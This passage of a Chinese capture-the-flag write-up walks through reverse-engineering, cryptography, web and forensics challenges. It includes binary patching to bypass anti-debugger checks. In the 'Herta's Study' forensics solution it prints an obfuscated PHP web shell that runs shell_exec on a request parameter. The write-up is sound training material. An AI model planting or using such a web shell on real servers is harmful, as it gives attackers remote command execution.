0x5D])进行比较,基于此进行逐步逆向,先将mm逆向回到RC4之前:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
def init_sbox(key):
sbox = list(range(256))
j = 0
for i in range(256):
j = (j + sbox[i] + key[i % len(key)]) % 256
sbox[i], sbox[j] = sbox[j], sbox[i]
return sbox

def reverse_encc(mm, sbox):
i = 0
j = 0
text = []
for byte in mm:
i = (i + 1) % 256
j = (j + sbox[i]) % 256
sbox[i], sbox[j] = sbox[j], sbox[i]
k = sbox[(sbox[i] + sbox[j]) % 256]
text.append(byte ^ k)
return text
key = b'meow'
sbox = init_sbox(key)
mm = [0xC2, 0x6C, 0x73, 0xF4, 0x3A, 0x45, 0x0E, 0xBA, 0x47, 0x81, 0x2A,
0x26, 0xF6, 0x79, 0x60, 0x78, 0xB3, 0x64, 0x6D, 0xDC, 0xC9, 0x04,
0x32, 0x3B, 0x9F, 0x32, 0x95, 0x60, 0xEE, 0x82, 0x97, 0xE7, 0xCA,
0x3D, 0xAA, 0x95, 0x76, 0xC5, 0x9B, 0x1D, 0x89, 0xDB, 0x98, 0x5D]
text = reverse_encc(mm, sbox)
text2 = ['0x{:02X}'.format(byte) for byte in text]
print('[', ', '.join(text2), ']')

计算得mm_beforeRC4_after_xor = [0x5F, 0x27, 0x2D, 0x5C, 0x2A, 0x34, 0x0E, 0x1A, 0x1D, 0x2E, 0x02, 0x04, 0x1F, 0x03, 0x2B, 0x30, 0x55, 0x50, 0x44, 0x47, 0x2C, 0x52, 0x01, 0x46, 0x55, 0x28, 0x44, 0x1C,0x39, 0x57, 0x15, 0x35, 0x29, 0x0C, 0x35, 0x24, 0x22, 0x57, 0x57, 0x3E, 0x0E, 0x0D, 0x5B, 0x4A],再逆向回到异或之前:

1
2
3
4
5
6
7
8
9
mm = [0x5F, 0x27, 0x2D, 0x5C, 0x2A, 0x34, 0x0E, 0x1A, 0x1D, 0x2E, 0x02,
0x04, 0x1F, 0x03, 0x2B, 0x30, 0x55, 0x50, 0x44, 0x47, 0x2C, 0x52,
0x01, 0x46, 0x55, 0x28, 0x44, 0x1C, 0x39, 0x57, 0x15, 0x35, 0x29,
0x0C, 0x35, 0x24, 0x22, 0x57, 0x57, 0x3E, 0x0E, 0x0D, 0x5B, 0x4A]
xork = b'meow'
for i in range(44):
mm[i] ^= xork[i % 4]
mm = [f'0x{byte:02X}' for byte in mm]
print('[', ', '.join(mm), ']')

得到this.enc =[0x32, 0x42, 0x42, 0x2B, 0x47, 0x51, 0x61, 0x6D, 0x70, 0x4B, 0x6D, 0x73, 0x72, 0x66, 0x44, 0x47, 0x38, 0x35, 0x2B, 0x30, 0x41, 0x37, 0x6E, 0x31, 0x38, 0x4D, 0x2B, 0x6B, 0x54, 0x32, 0x7A, 0x42, 0x44, 0x69, 0x5A, 0x53, 0x4F, 0x32, 0x38, 0x49, 0x63, 0x68, 0x34, 0x3D],转换得2BB+GQampKmsrfDG85+0A7n18M+kT2zBDiZSO28Ich4=,再带回AES解密(key=IamEzEncryptGame)得flag{0hh_U_kn0w_7h15_5ki11}.

PangBai 泰拉记(1):

反编译后静态分析发现main函数内说Use your debugger to discover the hidden flag!Click on the flag to obtain?但经过检查,发现加密的步骤居然只有for ( i = 0; i < 32; ++i ){flag[i] ^= key[i];}一步,猜测题目并没有这么简单,点开查看flag和key之后输入进python进行异或操作发现输出的是乱码,而flag本身对应的是can you find me can you find me?,提示还需要再找,于是尝试进行动态调试,运行程序发现报错,缺少四个dll文件:VCRUNTIME140D.dll、VCRUNTIME140_1D.dll、ucrtbased.dll和MSVCP140D.dll,去网络上搜索这些dll文件并下载放在同目录中,发现程序不再报错,进行动态调试,在退出前设置断点,在暂停时得到了一串新的key和flag,带入运行却发现输出flag{I_m_wrong_flag_dont_submit},说明flag还是不对,再次详细观察发现还有一个main0函数,在运行过程中多次检测了是否正处于调试状态(如j___CheckForDebuggerJustMyCodeCheckRemoteDebuggerPresentIsDebuggerPresent等等),得知应当绕过这些反调试机制,总的程序流程应该是j___CheckForDebuggerJustMyCodemain0上半段→main0j___CheckForDebuggerJustMyCode)→main0CheckRemoteDebuggerPresent(m1a0, &miao);)→if ( miao | IsDebuggerPresent() )如果检测到正在调试,就修改aaa并将key与aaa进行错误的异或,否则修改v5和v6并将key与v5进行正确的异或,再将flag和key进行异或得到结果,基于此要么在所有CheckRemoteDebuggerPresent执行时将&miao改为0(false)和在所有IsDebuggerPresent函数执行时将其返回值patch为0,要么找到对应的反汇编代码并改动跳转条件:

1
2
3
4
5
.text:00007FF670C22B8A                 call    cs:__imp_CheckRemoteDebuggerPresent
.text:00007FF670C22B90 call cs:__imp_IsDebuggerPresent
.text:00007FF670C22B96 or eax, cs:?miao@@3HA ; int miao
.text:00007FF670C22B9C test eax, eax
.text:00007FF670C22B9E jz loc_7FF670C22C6A

将jz改为jnz(右键patch修改byte将机器码0F 84改为0F 85),观察发现接下来是key与

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
.text:00007FF670C22C6A ; ---------------------------------------------------------------------------
.text:00007FF670C22C6A
.text:00007FF670C22C6A loc_7FF670C22C6A: ; CODE XREF: main0(void)+4E↑j
.text:00007FF670C22C6A mov [rbp+190h+var_128], 6Eh ; 'n'
.text:00007FF670C22C6E mov [rbp+190h+var_127], 68h ; 'h'
.text:00007FF670C22C72 mov [rbp+190h+var_126], 76h ; 'v'
.text:00007FF670C22C76 mov [rbp+190h+var_125], 76h ; 'v'
.text:00007FF670C22C7A mov [rbp+190h+var_124], 69h ; 'i'
.text:00007FF670C22C7E mov [rbp+190h+var_123], 67h ; 'g'
.text:00007FF670C22C82 mov [rbp+190h+var_122], 75h ; 'u'
.text:00007FF670C22C86 mov [rbp+190h+var_121], 4Dh ; 'M'
.text:00007FF670C22C8A mov [rbp+190h+var_120], 49h ; 'I'
.text:00007FF670C22C8E mov [rbp+190h+var_11F], 3Fh ; '?'
.text:00007FF670C22C92 mov [rbp+190h+var_11E], 75h ; 'u'
.text:00007FF670C22C96 mov [rbp+190h+var_11D], 22h ; '"'
.text:00007FF670C22C9A mov [rbp+190h+var_11C], 2Ch ; ','
.text:00007FF670C22C9E mov [rbp+190h+var_11B], 6Fh ; 'o'
.text:00007FF670C22CA2 mov [rbp+190h+var_11A], 2Fh ; '/'
.text:00007FF670C22CA6 mov [rbp+190h+var_119], 66h ; 'f'
.text:00007FF670C22CAA mov [rbp+190h+var_118], 57h ; 'W'
.text:00007FF670C22CAE mov [rbp+190h+var_117], 69h ; 'i'
.text:00007FF670C22CB2 mov [rbp+190h+var_116], 76h ; 'v'
.text:00007FF670C22CB6 mov [rbp+190h+var_115], 6Fh ; 'o'
.text:00007FF670C22CBA mov [rbp+190h+var_114], 4Dh ; 'M'
.text:00007FF670C22CBE mov [rbp+190h+var_113], 3Bh ; ';'
.text:00007FF670C22CC2 mov [rbp+190h+var_112], 7Fh
.text:00007FF670C22CC6 mov [rbp+190h+var_111], 48h ; 'H'
.text:00007FF670C22CCA mov [rbp+190h+var_110], 6Fh ; 'o'
.text:00007FF670C22CD1 mov [rbp+190h+var_10F], 6Dh ; 'm'
.text:00007FF670C22CD8 mov [rbp+190h+var_10E], 79h ; 'y'
.text:00007FF670C22CDF mov [rbp+190h+var_10D], 32h ; '2'
.text:00007FF670C22CE6 mov [rbp+190h+var_10C], 2Eh ; '.'
.text:00007FF670C22CED mov [rbp+190h+var_10B], 6Ch ; 'l'
.text:00007FF670C22CF4 mov [rbp+190h+var_10A], 23h ; '#'
.text:00007FF670C22CFB mov [rbp+190h+var_109], 7Bh ; '{'
.text:00007FF670C22D02 mov [rbp+190h+var_EC], 0
.text:00007FF670C22D0C jmp short loc_7FF670C22D1C
.text:00007FF670C22D0E ; ---------------------------------------------------------------------------

进行异或,即条件判定已修改完成,绕过了反调试机制,接着进行动态调试,退出前发现key已经变为[0x05, 0x0D, 0x0F, 0x47, 0x02, 0x02, 0x0C, 0x7F, 0x22, 0x5A, 0x0C,0x11, 0x47, 0x0A, 0x56, 0x52, 0x3C, 0x0C, 0x0F, 0x59, 0x26, 0x5E, 0x06, 0x7F, 0x04, 0x08, 0x00, 0x0A, 0x45, 0x09, 0x5A, 0x42],将flag与key进行异或,得到flag{my_D3bugg3r_may_1s_banned?}.代码:

1
2
3
for i in range(32):
flag[i] ^= key[i]
print("".join(chr(d) for d in flag))

Dirty flowers:

反编译后发现程序内有花指令混淆了某些基本函数,找到程序内部有以下提示:

1
2
3
4
5
6
7
8
9
10
11
.rdata:00B83118 Format db 'Please first master basic x86 assembly knowledge',0Ah,0
.rdata:00B83150 aThisProgramWil db 'This program will teach you a relatively simple method to remove '
.rdata:00B83191 db 'flower commands',0Ah,0
.rdata:00B831A8 aIfYouCannotDis db 'If you cannot distinguish the flower instruction of this program,'
.rdata:00B831E9 db ' please focus mainly on the ',27h,'call $ + 5',27h,' and ',27h,'r'
.rdata:00B83218 db 'etn',27h,' instructions',0Ah,0
.rdata:00B83230 aIfYouStillDonT db 'If you still don',27h,'t understand how to remove it, you can cha'
.rdata:00B8326B db 'nge all the instructions in the 0x004012F1-0x00401302 section to '
.rdata:00B832AC db 'nop instructions.Then press U and then P at the position of the f'
.rdata:00B832ED db 'unction head.',0Ah,0
.rdata:00B832FC aNowEnterTheFla db 'Now enter the flag you have obtained:',0Ah,0

接下来就是检测flag,反编译main会发现main执行后会自动跳转到这里(用汇编语言继续执行?),根据提示将对应的函数全部改成nop(无操作),再进行断点调试运行,发现机制是先检测位数是否符合要求,如果不符合要求直接以错误的长度退出,长度符合要求再进行字符上的比较,在反汇编代码中找到检测输入部分:

1
2
3
4
5
.text:00B81321 lea     eax, [ebp-1004h] ; (用户输入存储在 [ebp-1004h] 中)
.text:00B81327 push eax
.text:00B81328 push offset aS ; "%s"
.text:00B8132D call sub_B810C0
.text:00B81332 add esp, 8

和比较长度部分:

1
2
3
.text:00B8138C cmp     dword ptr [ebp-1010h], 24h ; '$'
.text:00B81393 jz short loc_B813A6 ; 长度符合要求直接跳转到00B813A6
.text:00B81395 push offset aWrongLength ; "wrong length!\n"

发现所需长度是0x24(也就是36位),再观察下方符合长度要求时进一步的检测:

1
2
3
4
5
6
7
8
.text:00B813A6 ; ---------------------------------------------------------------------------
.text:00B813A6
.text:00B813A6 loc_B813A6: ; CODE XREF: .text:00B81393↑j
.text:00B813A6 mov ecx, [ebp-1010h] ; 输入长度(24h)存入ecx
.text:00B813AC push ecx ; 将ecx压入栈中
.text:00B813AD lea edx, [ebp-1004h] ; flag每个字符的具体值存入edx
.text:00B813B3 push edx ; 将edx压入栈中
.text:00B813B4 call sub_B81100 ; 调用子函数 sub_B81100

子函数sub_B81100反编译:

1
2
3
4
5
6
7
8
void sub_B81100()
{
char v0[16]; // [esp+24h] [ebp-14h] BYREF //v0是一个长度为16 的字符数组,用于存储字符串
strcpy(v0, "dirty_flower"); //使用strcpy将字符串"dirty_flower"复制到v0中
strlen(v0);//使用strlen计算v0中字符串的长度
JUMPOUT(0xB81177); //跳转到0xB81177
}

0xB81177部分:

1
2
3
4
.text:00B81177
.text:00B81177 loc_B81177: ; DATA XREF: sub_B81100+6C↑o
.text:00B81177 mov dword ptr [ebp-1Ch], 0 ;[ ebp-1Ch]改写为0
.text:00B8117E jmp short loc_B81189 ; 跳转到0xB81189

0xB81189周围的循环:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
.text:00B81180 ; ---------------------------------------------------------------------------
.text:00B81180
.text:00B81180 loc_B81180: ; CODE XREF: .text:00B811B0↓j
.text:00B81180 mov ecx, [ebp-1Ch]
.text:00B81183 add ecx, 1
.text:00B81186 mov [ebp-1Ch], ecx
.text:00B81189 mov edx, [ebp-1Ch] ; 将0存入edx
.text:00B8118C cmp edx, [ebp+0Ch] ; 比较edx和[ebp+0Ch]
.text:00B8118F jge short loc_B811B2 ; 如果edx≥[ebp+0Ch]就跳转到0xB811B2(代表全部加密完成)
.text:00B81191 mov eax, [ebp-1Ch] ; 将0存入edx
.text:00B81194 cdq
.text:00B81195 idiv dword ptr [ebp-2Ch]
.text:00B81198 movsx eax, byte ptr [ebp+edx-14h]
.text:00B8119D mov ecx, [ebp+8]
.text:00B811A0 add ecx, [ebp-1Ch]
.text:00B811A3 movsx edx, byte ptr [ecx]
.text:00B811A6 xor edx, eax ; 经过动态调试,发现这一步左侧是每个输入的字符,右侧是定值串dirty_flower构成的循环
.text:00B811A8 mov eax, [ebp+8]
.text:00B811AB add eax, [ebp-1Ch]
.text:00B811AE mov [eax], dl
.text:00B811B0 jmp short loc_B81180 ; 回到循环

子函数sub_B81100结束后:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
.text:00B813B9                 add     esp, 8
.text:00B813BC mov eax, [ebp-1010h] ; 输入长度存入eax
.text:00B813C2 push eax ; 将eax压入栈中
.text:00B813C3 lea ecx, [ebp-1004h] ; flag每个字符的具体值存入ecx中
.text:00B813C9 push ecx ; 将ecx压入栈中
.text:00B813CA call sub_B811D0 ; 调用子函数 sub_B811D0
.text:00B813CF add esp, 8
.text:00B813D2 test eax, eax ; 检查sub_B811D0 的返回值是否为0
.text:00B813D4 jz short loc_B813E5 ; 如果返回值为 0,跳转到 loc_B813E5(判输)
.text:00B813D6 push offset aSuccess ; "success!\n"
.text:00B813DB call sub_B81050
.text:00B813E0 add esp, 4
.text:00B813E3 jmp short loc_B813F2
.text:00B813E5 ; ---------------------------------------------------------------------------
.text:00B813E5
.text:00B813E5 loc_B813E5: ; CODE XREF: .text:00B813D4↑j
.text:00B813E5 push offset aNo ; "no!\n"

在此基础上反编译sub_B811D0函数,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
int __cdecl sub_B811D0(int a1, int a2)
{
char v3[36]; // [esp+0h] [ebp-28h]
int i; // [esp+24h] [ebp-4h]
v3[0] = 2;
v3[1] = 5;
v3[2] = 19;
v3[3] = 19;
v3[4] = 2;
v3[5] = 30;
v3[6] = 83;
v3[7] = 31;
v3[8] = 92;
v3[9] = 26;
v3[10] = 39;
v3[11] = 67;
v3[12] = 29;
v3[13] = 54;
v3[14] = 67;
v3[15] = 7;
v3[16] = 38;
v3[17] = 45;
v3[18] = 85;
v3[19] = 13;
v3[20] = 3;
v3[21] = 27;
v3[22] = 28;
v3[23] = 45;
v3[24] = 2;
v3[25] = 28;
v3[26] = 28;
v3[27] = 48;
v3[28] = 56;
v3[29] = 50;
v3[30] = 85;
v3[31] = 2;
v3[32] = 27;
v3[33] = 22;
v3[34] = 84;
v3[35] = 15;
for ( i = 0; i < a2; ++i )
{
if ( (unsigned __int8)v3[i] != *(char *)(i + a1) )
return 0;
}
return 1;
}

即输入与dirty_flower循环异或后得到的结果与v3逐字符比对,若有不符的直接返回0,倒推得到flag:flag{A5s3mB1y_1s_r3ally_funDAm3nta1}.

代码:

1
2
3
4
5
6
7
8
v3 = [2, 5, 19, 19, 2, 30, 83, 31, 92, 26, 39, 67, 29, 54, 67, 7, 38, 45, 85, 13, 3, 27, 28, 45, 2, 28, 28, 48, 56, 50, 85, 2, 27, 22, 84, 15]
dirty_flower = [0x64, 0x69, 0x72, 0x74, 0x79, 0x5f, 0x66, 0x6c, 0x6f, 0x77, 0x65, 0x72]
flag_b = []
for i in range(len(v3)):
flag_gen = v3[i] ^ dirty_flower[i % len(dirty_flower)]
flag_b.append(flag_gen)
flag = ''.join(chr(byte) for byte in flag_b)
print(flag)

Web方向:

你能在一秒内打出八句英文吗:

进入页面,发现右键、开发者菜单、复制粘贴等全部被禁用,下方有一个计时器,超出一秒就无法成功,再观察源代码,发现源代码第41行就是要输入的文本内容,形如<p id="text">xxx</p>,于是选择使用JavaScript在控制台提交:

1
2
3
4
5
6
7
8
9
10
11
12
const textElement = document.getElementById('text');
const sentences = textElement.textContent;
const form = document.createElement('form');
form.method = 'POST';
form.action = '/submit';
const input = document.createElement('input');
input.type = 'hidden';
input.name = 'user_input';
input.value = sentences;
form.appendChild(input);
document.body.appendChild(form);
form.submit();

将代码提前复制粘贴到控制台,在按下按钮的瞬间迅速按enter即可在一秒内提交答案,得到flag:flag{70c3123f-1368-4b50-a6de-e10468333471}.

Crypto方向:

这是几次方?疑惑!:

^在计算机中并不表示次方(Pow)而是表示异或(谐音疑惑),下载py文件后得到另一个RSA加密,其中有e = 65537,hint = p^e + 10086,而异或的优先级低于加号,所以由提示的

1
hint=12578819356802034679792891975754306960297043516674290901441811200649679289740456805726985390445432800908006773857670255951581884098015799603908242531673390

得到

1
p=hint^75623=12578819356802034679792891975754306960297043516674290901441811200649679289740456805726985390445432800908006773857670255951581884098015799603908242531598921

从而计算出

1
q=9894080171409167477731048775117450997716595135307245061889351408996079284609420327696692120762586015707305237750670080746600707139163744385937564246995541

用之前写的python工具得出

1
2
3
φ=124455847177872829086850368685666872009698526875425204001499218854100257535484730033567552600005229013042351828575037023159889870271253559515001300645102547272582607556946597809819206498583700587629821896578436377540232328729792993693280980361351684844458558344121591584147825245121367422062684374122308816800
d=22611589977370520102188494132173206662182894540575368174403027280708176548743712414509190973164201319228760596652928358557224295975095230681067496021808078343144195007103821354677774261541360191905462400209949218721814339047952228144496950320622160175823856053884916779719061830624839737774087658005009858273
m=264482712154170621062930777958510103708372984838245841047957012723716220867587500009954604988711976936661501831365621134205

解得flag{yihuo_yuan_lai_xian_ji_suan_liang_bian_de2333}.

Since you konw something:

发现仍然是异或,但是这次key不知道,不过提示了非常小,于是按上次的方式遍历key,最后得到key是b’ns’,flag为:flag{Y0u_kn0w_th3_X0r_b3tt3r}.代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import xor
from Crypto.Util.number import long_to_bytes
c = 218950457292639210021937048771508243745941011391746420225459726647571
c_bytes = long_to_bytes(c)
prefix = b'flag{'
for key_len in range(1, 10):
for key in range(1 << (8 * key_len)):
key_bytes = key.to_bytes(key_len, byteorder='big')
flag = xor(c_bytes, key_bytes)
if flag.startswith(prefix[:len(flag)]):
print(f"key: {key_bytes}")
print(f"flag: {flag.decode('utf-8', errors='ignore')}")
break

茶里茶气:

观察代码并结合题目名称得知该算法是魔改的TEA加密,flag长度为25(内部为19),a是将 flag 中每个字符的 ASCII 值转换为十六进制字符串,去掉0x并连接起来形成一个长的字符串,当flag长度为25时l的值恰为199,v0是a 的前 99 位,v1是a的后99位,接下来随机了一个p=446302455051275584229157195942211,又给出了其他几个数据:

1
2
3
4
5
6
v2 = 0
derta = 462861781278454071588539315363
v3 = 489552116384728571199414424951
v4 = 469728069391226765421086670817
v5 = 564098252372959621721124077407
v6 = 335640247620454039831329381071

之后进行32次变换:

1
2
3
4
for i in range(32):
v1 += (v0+v2) ^ ( 8*v0 + v3 ) ^ ( (v0>>7) + v4 ) ; v1 %= p
v0 += (v1+v2) ^ ( 8*v1 + v5 ) ^ ( (v1>>7) + v6 ) ; v0 %= p
v2 += derta ; v2 %= p

变换又可以写作:

1
2
3
4
for i in range(32):
v1 = (v1 + ((v0+v2) ^ (8*v0 + v3) ^ ((v0 >> 7) + v4))) % p
v0 = (v0 + ((v1+v2) ^ (8*v1 + v5) ^ ((v1 >> 7) + v6))) % p
v2 = (v2 + derta) % p

注意到v2初始值是0,且derta远小于p(p/derta≈964),所以v2在每次执行完后其实是(i+1)*derta,从来没有被取过余,代入可转化为:

1
2
3
for i in range(32):
v1 = (v1 + ((v0 + i * derta) ^ (8*v0 + v3) ^ ((v0 >> 7) + v4))) % p
v0 = (v0 + ((v1 + i * derta) ^ (8*v1 + v5) ^ ((v1 >> 7) + v6))) % p

而v0和v1是一定会超出p的,所以被取过余。又∵若a+b ≡ c (mod p),则a ≡ c - b (mod p),构建逆向算法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from Crypto.Util.number import *
l = 199
v0 = 190997821330413928409069858571234
v1 = 137340509740671759939138452113480
p = 446302455051275584229157195942211
derta = 462861781278454071588539315363
v3 = 489552116384728571199414424951
v4 = 469728069391226765421086670817
v5 = 564098252372959621721124077407
v6 = 335640247620454039831329381071
for i in range(31, -1, -1):
v0 = (v0 - ((v1+i*derta) ^ (8*v1 + v5) ^ ((v1 >> 7) + v6))) % p
v1 = (v1 - ((v0+i*derta) ^ (8*v0 + v3) ^ ((v0 >> 7) + v4))) % p
a_long = (v0 << (l // 2)) + v1
flag = long_to_bytes(a_long).decode('utf-8', errors='ignore')
print(flag)

解得flag为:flag{f14gg9_te2_1i_7ea_7}.

Just one and more than two:

观察发现是变种的RSA,N为3个大质数的成绩,flag被拆成大小相等的两段,m1和m2所取的mod也不一样,但依旧可以按照之前的方法来解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from sympy import mod_inverse
from Crypto.Util.number import *
e = 65537
p = 11867061353246233251584761575576071264056514705066766922825303434965272105673287382545586304271607224747442087588050625742380204503331976589883604074235133
q = 11873178589368883675890917699819207736397010385081364225879431054112944129299850257938753554259645705535337054802699202512825107090843889676443867510412393
r = 12897499208983423232868869100223973634537663127759671894357936868650239679942565058234189535395732577137079689110541612150759420022709417457551292448732371
c1 = 8705739659634329013157482960027934795454950884941966136315983526808527784650002967954059125075894300750418062742140200130188545338806355927273170470295451
c2 = 1004454248332792626131205259568148422136121342421144637194771487691844257449866491626726822289975189661332527496380578001514976911349965774838476334431923162269315555654716024616432373992288127966016197043606785386738961886826177232627159894038652924267065612922880048963182518107479487219900530746076603182269336917003411508524223257315597473638623530380492690984112891827897831400759409394315311767776323920195436460284244090970865474530727893555217020636612445
N = p*q*r
phiN = (p-1) * (q-1) * (r-1)
d1 = mod_inverse(e, p-1)
d2 = mod_inverse(e, phiN)
m1 = pow(c1, d1, p)
m2 = pow(c2, d2, N)
m1_b = long_to_bytes(m1)
m2_b = long_to_bytes(m2)
flag1 = m1_b.decode()
flag2 = m2_b.decode()
print(flag1,flag2)

拼合得到flag:flag{Y0u_re4lly_kn0w_Euler_4nd_N3xt_Eu1er_is_Y0u!}.

Misc方向:

wireshark_checkin:

打开pcapng,根据题目flag应该在文件传输中留有痕迹,在左上角导出对象HTTP中发现有一个flag.txt,找到flag:flag{ez_traffic_analyze_isn’t_it}.

wireshark_secret:

依旧是导出对象,发现有一张png,导出后在图片上得到flag:flag{you_are_gooddddd}.

热心助人的小明同学:

根据提示文件是一个内存镜像,下载文件后将格式改为.vmem,用Passware Password Recovery Kit破解得到密码为:ZDFyVDlfdTNlUl9wNHNTdzByRF9IQUNLRVIh,即为flag.

用溯流仪见证伏特台风:

搜索相关报导,在http://news.china.com.cn/2024-07/08/content_117297304.shtml
找到原图清晰版本得到域名为:powerj7kmpzkdhjg4szvcxxgktgk36ezpjxvtosylrpey7svpmrjyuyd.onion,转写16位小写md5得到6c3ea51b6f9d4f5e,即为flag.

你也玩原神吗:

发现gif中包含一帧特殊图像:

拆解发现其中正中央是经典的乱数假文:
Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. 但是末尾出现了四个额外字符quis,左上角是flag is a sentence,左下角是do you know fence,考虑栅栏加密,右上角是iiaaelgtsfkfa,解密得到itisafakeflag,右下角是mesioaabgnhnsggogmyeiade,解密得到maybegenshinisagogdoagem,转换一下得到maybegenshinisagoodgame,即为flag.

字里行间的秘密:

打开txt发现藏的有两部分零宽度隐写,破解得到隐写字符分别为it_is_k3y,合并得到it_is_k3y,打开docx文档,发现有一行虚空文字,复制粘贴得到flag:flag{you_h4ve_4nyth1n9}.

Herta’s Study:

追踪流,发现上传了一个木马,还有fake{this_is_fake_falg}和名为flagflaf的txt记录,导出全部对象后发现以下内容:

1
2
3
-----------------------------350282821911984478142300364923
Content-Disposition: form-data; name="file"; filename="horse.php"
Content-Type: application/x-php
1
2
3
4
5
6
7
8
9
10
11
<?php
$payload=$_GET['payload'];
$payload=shell_exec($payload);
$bbb=create_function(
base64_decode('J'.str_rot13('T').'5z'),
base64_decode('JG5zPWJhc2U2NF9lbmNvZGUoJG5zKTsNCmZvcigkaT0wOyRpPHN0cmxlbigkbnMpOyRp
Kz0xKXsNCiAgICBpZigkaSUy'.str_rot13('CG0kXKfAPvNtVPNtVPNtWT5mJlEcKG1m').'dHJfcm90MTMoJG5zWyRpXSk7DQo
gICAgfQ0KfQ0KcmV0dXJuICRuczs==')
);
echo $bbb($payload);
?>
1
2
3
4
5
-----------------------------350282821911984478142300364923
Content-Disposition: form-data; name="submit"
提交
-----------------------------350282821911984478142300364923--
文件 horse.php 已被成功上传。<br>文件类型: application/x-php<br>文件大小: 0.435546875 kB<br>文件存储的位置: D:/phpstudy_pro/WWW/ezupload/upload/horse.php

解码中间的构建函数部分后得到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
$payload=$_GET['payload'];
$payload=shell_exec($payload);
$bbb=create_function($ns,
$ns=base64_encode($ns);
for($i=0;$i<strlen($ns);$i+=1){
if($i%2==1){
$ns[$i]=str_rot13($ns[$i]);
}
}
return $ns;
);
echo $bbb($payload);
?>
得知

得知所有输入值的偶数位都经过了rot13变换,而f、flag等文档中都含有类似base64加密的内容:

1
2
3
4
5
6
f					        ZzxuZ3tmSQNsaGRsUmBsNzVOdKQkZaVZLa0tCt==
flag ZzFeZKt0aTlmX2lmX2Zua2VsZzFfZ30tCt==
fake{this_is_fake_falg} ZzFeZKt0aTlmX2lmX2Zua2VsZzFfZ30X
whoami d2hiYJ1cOjo=
abcd YJJwZNo=
0721 MQclMDo=

代入0721对应的值进行检验,变换为MDcyMQo=,恰好是0721的base64,验证完成,对上述f、flag、fake进行变换,得到其中一组为:ZmxhZ3tzSDNfaTRfUzBfNmVBdXQxZnVMLn0gCg==,经过转换得到flag{sH3_i4_S0_6eAut1fuL.}.

赛题轮次:Week3

已解出的题目:

题目类型 题目名称
Reverse PangBai过家家(3)、SMc_Math、取啥名好呢?、011vm、flowering_shrubs
Crypto 故事新编1、没e这能玩?、故事新编2
Misc BGM坏了吗?、ez_jail、AmazingGame、OSINT-MASTER

Reverse方向:

PangBai过家家(3):

下载程序发现是被打包成exe的pyc文件,使用pyinstxtractor进行拆解,得到很多文件,再用pycdc进行反编译,反编译主pyc得到enc = [40,9,22,52,15,56,66,71,111,121,90,33,18,40,3,13,80,28,65,68,83,88,34,86,5,12,35,82,67,3,17,79]key = ‘NewStar2024’,一眼看出前面的数组是加密后的flag,接下来寻找是如何加密的,用pycdas再次反汇编发现是将输入值与key进行循环异或,于是再次异或得到flag{Y0u_Know_Py1nstall3r_W311!}.

SMc_math:

反编译主函数发现flag长度应当为28,但是最关键的encrypt函数却无法反编译,查询得知使用了动态代码加密技术,将encrypt逐字节用0x3Eu进行了异或操作,进行动态调试,在数据异或后、函数执行前下断点,再在汇编界面选中整个函数按u转回机器码,再按p汇编,按f5反编译,得到以下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
_BOOL8 __fastcall encrypt(unsigned int *a1)
{
__int64 v2; // [rsp+10h] [rbp-38h]
__int64 v3; // [rsp+18h] [rbp-30h]
__int64 v4; // [rsp+20h] [rbp-28h]
__int64 v5; // [rsp+28h] [rbp-20h]
__int64 v6; // [rsp+30h] [rbp-18h]
__int64 v7; // [rsp+38h] [rbp-10h]
__int64 v8; // [rsp+40h] [rbp-8h]

v2 = *a1;
v3 = a1[1];
v4 = a1[2];
v5 = a1[3];
v6 = a1[4];
v7 = a1[5];
v8 = a1[6];
return 5 * (v3 + v2) + 4 * v4 + 6 * v5 + v6 + 9 * v8 + 2 * v7 == 0xD5CC7D4FFLL
&& 4 * v8 + 3 * v5 + 6 * v4 + 10 * v3 + 9 * v2 + 9 * v7 + 3 * v6 == 0x102335844BLL
&& 9 * v6 + 4 * (v5 + v4) + 5 * v3 + 4 * v2 + 3 * v8 + 10 * v7 == 0xD55AEABB9LL
&& 9 * v3 + 5 * v2 + 9 * v8 + 2 * (v4 + 2 * v5 + 5 * v6 + v7) == 0xF89F6B7FALL
&& 5 * v6 + 9 * v5 + 7 * v2 + 2 * v3 + v4 + 3 * v8 + 9 * v7 == 0xD5230B80BLL
&& 8 * v8 + 6 * v5 + 10 * v4 + 5 * v3 + 6 * v2 + 3 * v7 + 9 * v6 == 0x11E28ED873LL
&& v2 + 4 * (v4 + v3 + 2 * v5) + 9 * v6 + v7 + 3 * v8 == 0xB353C03E1LL;
}

观察encrypt函数不难猜出v4~v10是输入值按小端序转为dword的结果,而且输入的a1是32位无符号整数(如输入1234则为0x34333231u),然后构建了一大堆式子使得输入值经过某些变化满足所给常数才能通过:

编写python z3-solver脚本来解出flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from z3 import *

chars = [BitVec(f'c{i}', 8) for i in range(28)]
def chars_to_uint32(chars):
return Concat(chars[3], chars[2], chars[1], chars[0])
v2 = chars_to_uint32(chars[0:4])
v3 = chars_to_uint32(chars[4:8])
v4 = chars_to_uint32(chars[8:12])
v5 = chars_to_uint32(chars[12:16])
v6 = chars_to_uint32(chars[16:20])
v7 = chars_to_uint32(chars[20:24])
v8 = chars_to_uint32(chars[24:28])
constraints = [
5 * (v3 + v2) + 4 * v4 + 6 * v5 + v6 + 9 * v8 + 2 * v7 == 0xD5CC7D4FF,
4 * v8 + 3 * v5 + 6 * v4 + 10 * v3 + 9 * v2 + 9 * v7 + 3 * v6 == 0x102335844B,
